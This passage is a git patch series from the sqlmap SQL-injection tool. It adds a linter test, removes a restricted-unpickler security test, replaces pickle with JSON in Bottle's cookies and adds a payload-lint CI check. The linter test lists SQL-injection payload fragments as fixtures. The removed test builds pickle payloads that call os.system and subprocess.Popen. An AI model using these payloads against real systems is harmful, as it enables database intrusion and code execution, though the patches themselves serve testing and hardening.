...). Guards the linter from regressions. + + 2. Atom-level SQL coverage - every SQL-bearing template in data/xml/queries.xml + and data/xml/payloads.xml, across ALL back-end DBMSes, must lint structurally + clean. This is a coverage gate over the *building blocks* of every query + sqlmap emits. The composed/runtime layer (agent.py wrapping these atoms into + wire payloads) is exercised faithfully by the separate payload-lint walk; a + 0-flag result here means the catalog itself is sound in all 30 dialects. + +A regression (a newly malformed catalog entry, OR a genuinely new valid dialect +construct the linter does not yet understand) makes the relevant test fail with a +pointer to the offending template. + +stdlib unittest only; Python 2.7 and 3.x; pure-ASCII. +""" + +import os +import re +import sys +import unittest +import xml.etree.ElementTree as ET + +sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) + +from lib.utils.sqllint import checkSanity + +ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) + +# well-formed fragments/statements that must NOT flag +GOOD = ( + "1 AND 1=1", + "1) AND 5108=5108 AND (7936=7936", + "1)) OR 1=1-- -", + "1' AND '1'='1", + "1 UNION ALL SELECT NULL,NULL,CONCAT(0x71,0x62,0x71)-- -", + "1 AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(0x7176,(SELECT database()),0x71)x FROM information_schema.tables GROUP BY x)a)", + "1 AND ORD(MID((SELECT IFNULL(CAST(username AS NCHAR),0x20) FROM users ORDER BY id LIMIT 0,1),1,1))>64", + "1 AND EXTRACTVALUE(1,CONCAT(0x5c,0x7e,(SELECT version())))", + "SELECT name FROM users WHERE id=1 ORDER BY id", + "SELECT count(*) FROM t WHERE x=1", + "1 WAITFOR DELAY '0:0:5'", +) + +# cross-dialect valid constructs the linter must accept (regression guards for +# the exact false positives that adversarial/catalog runs exposed and fixed) +DIALECT_GOOD = ( + "1 AND id==1", # SQLite '==' equality + "SELECT 1 WHERE (SELECT 1)::text = '1'", # PostgreSQL '::' cast + "SELECT 1 WHERE 9223=LIKE(CHAR(65),UPPER(HEX(1)))", # SQLite LIKE() function + "SELECT NAME FROM SYSMASTER:SYSDATABASES", # Informix 'db:table' + "SELECT $ZVERSION", # InterSystems Cache system var + "SELECT `col` FROM `directory` LIMIT 0,1", # MySQL backtick identifiers + "SELECT LIMIT 0 1 DISTINCT(user) FROM INFORMATION_SCHEMA.SYSTEM_USERS", # HSQLDB space-LIMIT + "SELECT TOP 1 name FROM master..sysdatabases", # MSSQL TOP + db..table + "CONCAT('\\',0x71,(SELECT 1))", # backslash-literal string (ANSI) +) + +# malformed fragments/statements that MUST flag +BAD = ( + "(SELECT id 1 FROM users)", # missing separator + "1 AND 1=(SELECT id 1 FROM users' WHERE tablename='foobar')", # stray quote in scope + "1UNION SELECT NULL", # digit glued to word + "1 AND 5108=5108AND 1=1", # digit glued to keyword + "1 AND 1 = = 1", # doubled operator + "1 AND AND 1=1", # doubled keyword operator + "1 UNION SELECT NULL,,NULL", # empty list item + "1 AND (1=1)(2=2)", # adjacent groups + "SELECT count() FROM t WHERE id=)", # operator before ')' +) + +# queries.xml: attributes that carry SQL (not regexes/markers) +_SQL_ATTRS = ("query", "query2", "query3", "count", "count2", "count3", + "condition", "condition2", "condition3", + "keyset_where", "keyset_next", "keyset_first", "keyset_by", "keyset_ordered", "rowid") +_SKIP_TAGS = ("limitregexp", "comment") + + +def _materialize(s): + """Substitute sqlmap's template markers with structurally-neutral values so a + catalog template becomes lintable SQL (mirrors what agent.py fills in).""" + s = s.replace("[QUERY]", "SELECT 1").replace("[UNION]", "UNION SELECT NULL") + s = s.replace("[INFERENCE]", "1=1") + s = re.sub(r"\[RANDNUM\d*\]", "1", s) + s = re.sub(r"\[RANDSTR\d*\]", "abc", s) + s = s.replace("[SLEEPTIME]", "1").replace("[DELAYED]", "1") + for _ in ("[DELIMITER_START]", "[DELIMITER_STOP]", "[COLSTART]", "[COLSTOP]"): + s = s.replace(_, "0x71") + s = s.replace("[ORIGVALUE]", "1").replace("[CHAR]", "NULL").replace("[GENERIC_SQL_COMMENT]", "-- -") + s = s.replace("[SINGLE_QUOTE]", "'").replace("[DOUBLE_QUOTE]", '"').replace("[DB]", "db") + s = s.replace("[SPACE_REPLACE]", " ").replace("[HASH_REPLACE]", "#") + s = s.replace("[DOLLAR_REPLACE]", "$").replace("[AT_REPLACE]", "@") + s = re.sub(r"\[[A-Z][A-Z0-9_]*\]", "1", s) + s = s.replace("%d", "1").replace("%s", "col").replace("%%", "%") + return s + + +def _queries_atoms(): + """{dbms: sorted list of SQL atom strings} from queries.xml.""" + retVal = {} + root = ET.parse(os.path.join(ROOT, "data", "xml", "queries.xml")).getroot() + for dbms in root.iter("dbms"): + atoms = set() + for el in dbms.iter(): + if el.tag in _SKIP_TAGS: + continue + for attr in _SQL_ATTRS: + raw = el.get(attr) + if raw and not raw.strip().isdigit(): + atoms.add(raw) + retVal[dbms.get("value")] = sorted(atoms) + return retVal + + +def _payload_atoms(): + """[(file, stype-title, sql)] from data/xml/payloads/*.xml.""" + import glob + retVal = [] + for path in sorted(glob.glob(os.path.join(ROOT, "data", "xml", "payloads", "*.xml"))): + name = os.path.basename(path) + for test in ET.parse(path).getroot().iter("test"): + title = (test.findtext("title") or "").strip() + for tag in ("payload", "vector", "comparison"): + for el in test.iter(tag): + raw = (el.text or "").strip() + if raw: + retVal.append((name, title, raw)) + return retVal + + +class TestLinterSelf(unittest.TestCase): + def test_well_formed_pass(self): + for sql in GOOD + DIALECT_GOOD: + self.assertEqual(checkSanity(sql), [], "false positive on valid SQL: %r" % sql) + + def test_malformed_flag(self): + for sql in BAD: + self.assertTrue(checkSanity(sql), "missed malformed SQL: %r" % sql) + + +# module-level coverage accounting (printed in tearDownModule) +_COVERAGE = {"queries_dbms": 0, "queries_atoms": 0, "payload_atoms": 0} + + +class TestCatalogCoverage(unittest.TestCase): + def test_queries_xml_clean(self): + atoms = _queries_atoms() + _COVERAGE["queries_dbms"] = len(atoms) + total = 0 + for dbms, items in atoms.items(): + for raw in items: + total += 1 + issues = checkSanity(_materialize(raw)) + self.assertEqual(issues, [], + "queries.xml [%s] malformed atom: %r -> %s" % (dbms, raw, issues)) + _COVERAGE["queries_atoms"] = total + self.assertGreater(total, 1000) # sanity: the catalog was actually walked + + def test_payloads_xml_clean(self): + items = _payload_atoms() + _COVERAGE["payload_atoms"] = len(items) + for name, title, raw in items: + issues = checkSanity(_materialize(raw)) + self.assertEqual(issues, [], + "%s malformed payload atom (%s): %r -> %s" % (name, title, raw, issues)) + self.assertGreater(len(items), 500) + + +def tearDownModule(): + q = _COVERAGE + total = q["queries_atoms"] + q["payload_atoms"] + sys.stderr.write( + "\n[sqllint coverage] atom-level: %d SQL atoms linted clean " + "(%d queries.xml across %d/30 DBMSes + %d payloads.xml vectors)\n" + % (total, q["queries_atoms"], q["queries_dbms"], q["payload_atoms"])) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_unpickle_security.py b/tests/test_unpickle_security.py deleted file mode 100644 index a3cf63a2e7b..00000000000 --- a/tests/test_unpickle_security.py +++ /dev/null @@ -1,121 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) -See the file 'LICENSE' for copying permission - -Locks the RestrictedUnpickler security control (lib/core/patch.py, installed over -pickle.loads by dirtyPatches()). sqlmap deserializes pickled blobs out of its own -session DB / cache, so the unpickler is an ALLOWLIST: only safe builtin data types -and sqlmap's own (lib/plugins/thirdparty) classes may be reconstructed. - -Two directions, both of which must keep holding: - - LEGIT round-trips sqlmap actually relies on (AttribDict, BigArray, nested - builtins, and - the easy-to-regress one - bytes under PICKLE_PROTOCOL=2, which - emits a _codecs.encode global) must survive base64pickle -> base64unpickle. - - MALICIOUS / exotic globals (eval, os.system, subprocess.Popen, importlib, - operator.attrgetter, and even the non-whitelisted _codecs.lookup) must be - REJECTED at find_class time, before the object is ever built. - -A regression in either direction is a security or a data-loss bug, hence the test. -""" - -import os -import pickle -import subprocess -import sys -import unittest - -sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap -bootstrap() # installs dirtyPatches(), i.e. the RestrictedUnpickler over pickle.loads - -from lib.core.bigarray import BigArray -from lib.core.convert import base64pickle, base64unpickle, encodeBase64 -from lib.core.datatype import AttribDict -from lib.core.settings import PICKLE_PROTOCOL - - -class _EvilReduce(object): - """On unpickling, __reduce__ asks the loader to resolve (and would call) an arbitrary global.""" - def __init__(self, func, args): - self._func = func - self._args = args - - def __reduce__(self): - return (self._func, self._args) - - -def _payload(func, *args): - # built with the REAL pickler (only pickle.loads is restricted, not dumps); base64 to mirror - # exactly what base64unpickle() consumes from sqlmap's session store - return encodeBase64(pickle.dumps(_EvilReduce(func, args), PICKLE_PROTOCOL), binary=False) - - -class TestUnpicklerIsInstalled(unittest.TestCase): - def test_patch_active(self): - # if this is False the whole allowlist is bypassed and the negative tests would pass vacuously - self.assertTrue(getattr(pickle, "_patched", False)) - - -class TestLegitRoundTrips(unittest.TestCase): - def _roundtrip(self, value): - return base64unpickle(base64pickle(value)) - - def test_nested_builtins(self): - value = {"a": [1, 2.5, True, None, complex(1, 2)], "b": (u"x", b"y"), "c": {3, 4}, "d": frozenset([5])} - self.assertEqual(self._roundtrip(value), value) - - def test_bytes_protocol2(self): - # protocol-2 pickling of bytes on Python 3 emits a _codecs.encode global; this is the - # exact case the allowlist explicitly permits, and the one most likely to silently break - for value in (b"", b"\x00\x01\x02binary\xff", bytearray(b"abc")): - self.assertEqual(self._roundtrip(value), value) - - def test_attribdict(self): - value = AttribDict() - value.foo = "bar" - value.nested = {"k": [1, 2]} - restored = self._roundtrip(value) - self.assertIsInstance(restored, AttribDict) - self.assertEqual(restored.foo, "bar") - self.assertEqual(restored.nested, {"k": [1, 2]}) - - def test_bigarray(self): - restored = self._roundtrip(BigArray([1, 2, 3])) - self.assertIsInstance(restored, BigArray) - self.assertEqual(list(restored), [1, 2, 3]) - - -class TestMaliciousRejected(unittest.TestCase): - def _assert_blocked(self, payload): - # find_class() raises ValueError; base64unpickle only swallows TypeError, so it propagates - self.assertRaises(ValueError, base64unpickle, payload) - - def test_dangerous_builtins(self): - # builtins are allowed ONLY for the safe data-type subset; callables must be refused - for func in (eval, getattr, __import__): - self._assert_blocked(_payload(func, "1+1") if func is eval else _payload(func, "x")) - - def test_os_system(self): - self._assert_blocked(_payload(os.system, "echo pwned")) - - def test_subprocess_popen(self): - self._assert_blocked(_payload(subprocess.Popen, "echo pwned")) - - def test_importlib(self): - import importlib - self._assert_blocked(_payload(importlib.import_module, "os")) - - def test_operator_attrgetter(self): - import operator - self._assert_blocked(_payload(operator.attrgetter, "system")) - - def test_codecs_lookup_not_whitelisted(self): - # only _codecs.encode is allowed (for the bytes round-trip); every other _codecs name stays blocked - import codecs - self._assert_blocked(_payload(codecs.lookup, "utf-8")) - - -if __name__ == "__main__": - unittest.main() diff --git a/thirdparty/bottle/bottle.py b/thirdparty/bottle/bottle.py index e0b3185d27d..56a250b6b7a 100644 --- a/thirdparty/bottle/bottle.py +++ b/thirdparty/bottle/bottle.py @@ -96,7 +96,6 @@ def _cli_patch(cli_args): # pragma: no coverage from http.cookies import SimpleCookie, Morsel, CookieError from collections.abc import MutableMapping as DictMixin from types import ModuleType as new_module - import pickle from io import BytesIO import configparser from datetime import timezone @@ -125,7 +124,6 @@ def _raise(*a): from urllib import urlencode, quote as urlquote, unquote as urlunquote from Cookie import SimpleCookie, Morsel, CookieError from itertools import imap - import cPickle as pickle from imp import new_module from StringIO import StringIO as BytesIO import ConfigParser as configparser @@ -1226,7 +1224,7 @@ def get_cookie(self, key, default=None, secret=None, digestmod=hashlib.sha256): sig, msg = map(tob, value[1:].split('?', 1)) hash = hmac.new(tob(secret), msg, digestmod=digestmod).digest() if _lscmp(sig, base64.b64encode(hash)): - dst = pickle.loads(base64.b64decode(msg)) + dst = json_loads(base64.b64decode(msg)) if dst and dst[0] == key: return dst[1] return default @@ -1839,14 +1837,13 @@ def set_cookie(self, name, value, secret=None, digestmod=hashlib.sha256, **optio expire at the end of the browser session (as soon as the browser window is closed). - Signed cookies may store any pickle-able object and are + Signed cookies may store any JSON-serializable object and are cryptographically signed to prevent manipulation. Keep in mind that cookies are limited to 4kb in most browsers. - Warning: Pickle is a potentially dangerous format. If an attacker - gains access to the secret key, he could forge cookies that execute - code on server side if unpickled. Using pickle is discouraged and - support for it will be removed in later versions of bottle. + Warning: If an attacker gains access to the secret key, he could + forge arbitrary cookies. Prefer storing only plain strings and, if + possible, keep session data server-side instead of in cookies. Warning: Signed cookies are not encrypted (the client can still see the content) and not copy-protected (the client can restore an old @@ -1863,10 +1860,10 @@ def set_cookie(self, name, value, secret=None, digestmod=hashlib.sha256, **optio if secret: if not isinstance(value, basestring): - depr(0, 13, "Pickling of arbitrary objects into cookies is " + depr(0, 13, "Storing non-string objects into cookies is " "deprecated.", "Only store strings in cookies. " "JSON strings are fine, too.") - encoded = base64.b64encode(pickle.dumps([name, value], -1)) + encoded = base64.b64encode(tob(json_dumps([name, value]))) sig = base64.b64encode(hmac.new(tob(secret), encoded, digestmod=digestmod).digest()) value = touni(tob('!') + sig + tob('?') + encoded) @@ -2253,7 +2250,7 @@ def getunicode(self, name, default=None, encoding=None): return default def __getattr__(self, name, default=unicode()): - # Without this guard, pickle generates a cryptic TypeError: + # Without this guard, dunder attribute probing generates a cryptic TypeError: if name.startswith('__') and name.endswith('__'): return super(FormsDict, self).__getattr__(name) return self.getunicode(name, default=default) @@ -3069,11 +3066,11 @@ def _lscmp(a, b): def cookie_encode(data, key, digestmod=None): - """ Encode and sign a pickle-able object. Return a (byte) string """ + """ Encode and sign a JSON-serializable object. Return a (byte) string """ depr(0, 13, "cookie_encode() will be removed soon.", "Do not use this API directly.") digestmod = digestmod or hashlib.sha256 - msg = base64.b64encode(pickle.dumps(data, -1)) + msg = base64.b64encode(tob(json_dumps(data))) sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=digestmod).digest()) return tob('!') + sig + tob('?') + msg @@ -3088,7 +3085,7 @@ def cookie_decode(data, key, digestmod=None): digestmod = digestmod or hashlib.sha256 hashed = hmac.new(tob(key), msg, digestmod=digestmod).digest() if _lscmp(sig[1:], base64.b64encode(hashed)): - return pickle.loads(base64.b64decode(msg)) + return json_loads(base64.b64decode(msg)) return None From 4b3a36ca515fbfcfa5df822a2b7d98225cab2009 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 8 Jul 2026 12:17:01 +0200 Subject: [PATCH 698/853] Fixes CI/CD error --- lib/core/settings.py | 2 +- tests/test_property.py | 22 +++++++++++----------- 2 files changed, 12 insertions(+), 12 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 9fe124d0555..177257d52a3 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.40" +VERSION = "1.10.7.41" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tests/test_property.py b/tests/test_property.py index 789eea47633..3919b50ffaf 100644 --- a/tests/test_property.py +++ b/tests/test_property.py @@ -36,9 +36,9 @@ prioritySortColumns, randomInt, randomRange, randomStr, safeSQLIdentificatorNaming, sanitizeStr, splitFields, unArrayizeValue, unsafeSQLIdentificatorNaming, urldecode, urlencode, zeroDepthSearch) -from lib.core.convert import (base64pickle, base64unpickle, decodeBase64, decodeHex, dejsonize, encodeBase64, +from lib.core.convert import (decodeBase64, decodeHex, dejsonize, deserializeValue, encodeBase64, encodeHex, getBytes, getConsoleLength, getOrds, getText, htmlEscape, htmlUnescape, - jsonize, stdoutEncode) + jsonize, serializeValue, stdoutEncode) from lib.core.data import kb from lib.utils.safe2bin import safecharencode @@ -71,17 +71,17 @@ def gen_json(rng): return rng.choice([0, 1, -1, 2 ** 31, 1.5, -0.25, True, False, None, u"", u"x", u"\u0107", u'a"b,c']) -def gen_pickle(rng): +def gen_serializable(rng): kind = rng.randint(0, 9) if kind < 5: return rng.choice([0, -7, 2 ** 40, 3.5, True, False, None, u"\u0107x", b"\x00\xff", u""]) if kind < 7: - return [gen_pickle(rng) for _ in range(rng.randint(0, 3))] + return [gen_serializable(rng) for _ in range(rng.randint(0, 3))] if kind < 8: - return tuple(gen_pickle(rng) for _ in range(rng.randint(0, 3))) + return tuple(gen_serializable(rng) for _ in range(rng.randint(0, 3))) if kind < 9: return set(rng.choice([1, 2, 3, u"a", u"b"]) for _ in range(rng.randint(0, 3))) - return dict((u"k%d" % j, gen_pickle(rng)) for j in range(rng.randint(0, 2))) + return dict((u"k%d" % j, gen_serializable(rng)) for j in range(rng.randint(0, 2))) def gen_columns(rng): @@ -131,8 +131,8 @@ def test_getbytes_gettext(self): def test_json(self): for_all(self, gen_json, lambda v: dejsonize(jsonize(v)) == v, label="json") - def test_pickle(self): - for_all(self, gen_pickle, lambda v: base64unpickle(base64pickle(v)) == v, label="pickle") + def test_serialize(self): + for_all(self, gen_serializable, lambda v: deserializeValue(serializeValue(v)) == v, label="serialize") def test_html_escape(self): for_all(self, gen_text, lambda s: htmlUnescape(htmlEscape(s)) == s, label="html") @@ -144,11 +144,11 @@ def test_cloak(self): class TestStructureTransforms(unittest.TestCase): def test_unarrayize_never_listlike(self): # the whole point of unArrayizeValue is that the result is a scalar, never a list/tuple - # (gen_pickle includes sets - they used to crash here; see test_unarrayize_set regression) - for_all(self, gen_pickle, lambda v: not isListLike(unArrayizeValue(v)), label="unarrayize") + # (gen_serializable includes sets - they used to crash here; see test_unarrayize_set regression) + for_all(self, gen_serializable, lambda v: not isListLike(unArrayizeValue(v)), label="unarrayize") def test_flatten_is_flat(self): - for_all(self, gen_pickle, lambda v: all(not isListLike(x) for x in flattenValue([v])), label="flatten") + for_all(self, gen_serializable, lambda v: all(not isListLike(x) for x in flattenValue([v])), label="flatten") def test_unarrayize_set(self): # regression: a 1-element set is list-like but not subscriptable; unArrayizeValue must From 291abb0ee84154d99cfa73887eaf4a8ea3fed9f0 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 8 Jul 2026 12:32:05 +0200 Subject: [PATCH 699/853] Minor update --- lib/core/settings.py | 2 +- lib/core/testing.py | 2 ++ 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 177257d52a3..e46d16d13b6 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.41" +VERSION = "1.10.7.42" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index a10e336213c..765ec4fabb4 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -51,6 +51,8 @@ def vulnTest(tests=None, label="vuln"): ("--dependencies", ("sqlmap requires", "third-party library")), ("-u --data=\"reflect=1\" --flush-session --wizard --disable-coloring", ("Please choose:", "back-end DBMS: SQLite", "current user is DBA: True", "banner: '3.")), ("-u --data=\"code=1\" --code=200 --technique=B --banner --no-cast --flush-session", ("back-end DBMS: SQLite", "banner: '3.", "~COALESCE(CAST(")), + ("-u --flush-session --technique=B --banner", ("Type: boolean-based blind", "banner: '3.")), # session resume (1/2): detect + STORE the injection into the (serialized) session + ("-u --technique=B --banner", ("sqlmap resumed the following injection point(s) from stored session", "Type: boolean-based blind", "banner: '3.")), # session resume (2/2): NO --flush-session, so the injection must round-trip back OUT of the serialized session and still work (guards session serialization/deserialization end-to-end) (u"-c --flush-session --output-dir=\"\" --smart --roles --statements --hostname --privileges --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U", (u": '\u0161u\u0107uraj'", "on SQLite it is not possible", "as the output directory")), (u"-u --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --titles --technique=B --no-escape --string=luther --unstable", (u": '\u0161u\u0107uraj'", "~with --string",)), ("-m --flush-session --technique=B --banner", ("/3] URL:", "back-end DBMS: SQLite", "banner: '3.")), From 003393442626864cc3896bad1ab2a818238fcca1 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 8 Jul 2026 12:43:10 +0200 Subject: [PATCH 700/853] Minor optimization --- lib/core/settings.py | 2 +- lib/core/threads.py | 2 ++ lib/request/comparison.py | 9 +++++++-- 3 files changed, 10 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index e46d16d13b6..be28c87c64f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.42" +VERSION = "1.10.7.43" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/threads.py b/lib/core/threads.py index 96d64685960..47e8e10ab3a 100644 --- a/lib/core/threads.py +++ b/lib/core/threads.py @@ -52,6 +52,8 @@ def reset(self): self.lastComparisonCode = None self.lastComparisonRatio = None self.lastPageTemplateCleaned = None + self.lastPageTemplateJsonMinimized = None + self.lastPageTemplateStructural = None self.lastPageTemplate = None self.lastErrorPage = tuple() self.lastHTTPError = None diff --git a/lib/request/comparison.py b/lib/request/comparison.py index d2e8bac0790..b800f4795c8 100644 --- a/lib/request/comparison.py +++ b/lib/request/comparison.py @@ -132,6 +132,11 @@ def _comparison(page, headers, code, getRatioValue, pageLength): page = removeDynamicContent(page) if threadData.lastPageTemplate != kb.pageTemplate: threadData.lastPageTemplateCleaned = removeDynamicContent(kb.pageTemplate) + # Same template-identity memoization for the structure-aware projections (§below): the + # template is constant across an extraction, so it must not be re-parsed/re-tokenized on + # every inference request - only seq2 (from the live page) is recomputed per response + threadData.lastPageTemplateJsonMinimized = jsonMinimize(kb.pageTemplate) + threadData.lastPageTemplateStructural = "\n".join(sorted(extractStructuralTokens(kb.pageTemplate))) threadData.lastPageTemplate = kb.pageTemplate seqMatcher.set_seq1(threadData.lastPageTemplateCleaned) @@ -178,14 +183,14 @@ def _comparison(page, headers, code, getRatioValue, pageLength): # only on a JSON Content-Type with both bodies parseable; any doubt (or an explicit # --text-only/--titles) falls back to the exact text path below. if _isJsonResponse(headers) and not (conf.titles or conf.textOnly or kb.nullConnection): - seq1 = jsonMinimize(kb.pageTemplate) + seq1 = threadData.lastPageTemplateJsonMinimized # memoized per template (see above) seq2 = jsonMinimize(rawPage) # Structure-aware comparison for a structurally-stable (but byte-unstable) HTML page: # compare the value-free tag/class/id skeleton so dynamic text does not perturb the ratio # while a structural change (e.g. a results table appearing/disappearing) still does if seq1 is None and kb.pageStructurallyStable and not (conf.titles or conf.textOnly or kb.nullConnection): - _ = "\n".join(sorted(extractStructuralTokens(kb.pageTemplate))) + _ = threadData.lastPageTemplateStructural # memoized per template (see above) if _: # only engage when the page actually exposes structure (HTML tags); tagless content falls back to text seq1 = _ seq2 = "\n".join(sorted(extractStructuralTokens(rawPage))) From fd009027f76778c6f0d29ac452da9f711f11d0d1 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 8 Jul 2026 17:51:37 +0200 Subject: [PATCH 701/853] Adding --payload-lint to CI/CD --- .github/workflows/tests.yml | 5 + lib/core/optiondict.py | 1 + lib/core/settings.py | 2 +- lib/core/testing.py | 236 ++++++++++++++++++++++++++++++++++++ lib/parse/cmdline.py | 5 +- lib/request/connect.py | 10 ++ lib/utils/sqllint.py | 165 ++++++++++++++++++++++++- sqlmap.py | 5 +- tests/test_sqllint.py | 28 ++++- 9 files changed, 449 insertions(+), 8 deletions(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index a6bedc1e686..85ae78c0ea7 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -122,6 +122,11 @@ jobs: - name: Smoke test run: python sqlmap.py --smoke-test + - name: Payload lint + # offline: emulates blind + UNION enumeration across all DBMSes and checks + # every payload agent.py builds with lib/utils/sqllint (structural sanity) + run: python sqlmap.py --payload-lint + - name: Vuln test run: python sqlmap.py --vuln-test diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 93e929845e3..3e7fa93c499 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -288,6 +288,7 @@ "murphyRate": "integer", "smokeTest": "boolean", "fpTest": "boolean", + "payloadLint": "boolean", "apiTest": "boolean", }, diff --git a/lib/core/settings.py b/lib/core/settings.py index be28c87c64f..0cfb735d453 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.43" +VERSION = "1.10.7.44" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index 765ec4fabb4..758d1a8bf85 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -547,3 +547,239 @@ def _(node): logger.error("smoke test final result: FAILED") return retVal + +def payloadLintTest(): + """ + Offline payload-sanity coverage test. + + For every supported back-end DBMS an emulation oracle drives the blind + enumeration handlers (no live target), so agent.py builds the full range of + inference payloads it would emit while dumping a schema, and each one is + checked with lib.utils.sqllint. A planted-malformation self-check first + proves the pipeline actually catches a defect, so the gate can never pass + vacuously. + """ + + import lib.core.common as common_module + + from lib.controller.handler import setHandler + from lib.core.agent import agent + from lib.core.common import Backend + from lib.core.datatype import AttribDict + from lib.core.datatype import InjectionDict + from lib.core.enums import PAYLOAD + from lib.core.enums import PLACE + from lib.core.threads import getCurrentThreadData + from lib.request.connect import Connect + from lib.utils.sqllint import checkSanity + + unisonRandom() + + collected = [] + guard = {"count": 0} + CAP_PER_METHOD = 600 + + # A "consistent liar": parse the injected char comparison in whatever form the + # dialect uses (bare int / CHAR(n) / quoted 'x') and answer so counts->'2', + # lengths->small, names->'a'. This keeps every dialect's enumeration walking a + # few shallow levels, exercising the payload builders without a real backend. + def _oracle(value=None, **kwargs): + if value is None: + return None + sql = agent.removePayloadDelimiters(agent.adjustLateValues(value)) + collected.append(sql) + guard["count"] += 1 + if guard["count"] > CAP_PER_METHOD: + raise KeyboardInterrupt + # UNION/inband path reads the response body: hand back a page carrying the + # delimited marker value so extraction "succeeds" and keeps producing payloads + if kwargs.get("content"): + start, stop, delim = kb.chars.start, kb.chars.stop, kb.chars.delimiter + return ("x%s%s%s%s%sx" % (start, "1", delim, "1", stop), None, 200) + upper = sql.upper() + match = re.search(r">\s*'(.?)'", sql) + if match: + return True if match.group(1) == "" else (50 if "COUNT(" in upper else 97) > ord(match.group(1)) + match = re.search(r">\s*(?:N?CHAR|CHR|NCHR)\s*\(\s*(\d+)", sql, re.I) + if match: + return (50 if "COUNT(" in upper else 97) > int(match.group(1)) + match = re.search(r">\s*(\d+)", sql) + if match: + value_ = int(match.group(1)) + target = 1 if "COUNT(" in upper else (3 if any(_ in upper for _ in ("LENGTH(", "LEN(", "DATALENGTH(")) else 2) + return target > value_ + match = re.search(r"(\d+)\s*(=|<|>=|<=|<>|!=)\s*(\d+)", sql) + if match: + left, operator, right = int(match.group(1)), match.group(2), int(match.group(3)) + return {"=": left == right, "<": left < right, ">=": left >= right, "<=": left <= right, "<>": left != right, "!=": left != right}[operator] + return False + + def _injection(dbms): + injection = InjectionDict() + injection.place = PLACE.GET + injection.parameter = "id" + injection.ptype = 1 + injection.prefix = "" + injection.suffix = "" + injection.clause = [1] + injection.dbms = dbms + boolean = AttribDict() + boolean.title = "AND boolean-based blind" + boolean.vector = "AND [INFERENCE]" + boolean.comment = "" + boolean.payload = "x" + boolean.where = 1 + boolean.templatePayload = None + boolean.matchRatio = None + boolean.trueCode = None + boolean.falseCode = None + injection.data = AttribDict() + injection.data[PAYLOAD.TECHNIQUE.BOOLEAN] = boolean + return injection + + def _unionInjection(dbms): + injection = InjectionDict() + injection.place = PLACE.GET + injection.parameter = "id" + injection.ptype = 1 + injection.prefix = "" + injection.suffix = "" + injection.clause = [1] + injection.dbms = dbms + union = AttribDict() + union.title = "Generic UNION query" + # vector = (position, count, comment, prefix, suffix, char, where, + # unionDuplicates, forcePartial, tableFrom, unionTemplate) + union.vector = (0, 3, "-- -", "", "", "NULL", PAYLOAD.WHERE.ORIGINAL, False, False, None, None) + union.comment = "-- -" + union.prefix = "" + union.suffix = "" + union.where = PAYLOAD.WHERE.ORIGINAL + union.templatePayload = None + union.matchRatio = None + union.trueCode = None + union.falseCode = None + injection.data = AttribDict() + injection.data[PAYLOAD.TECHNIQUE.UNION] = union + return injection + + methods = ("getBanner", "getCurrentDb", "getCurrentUser", "getHostname", "isDba", + "getDbs", "getTables", 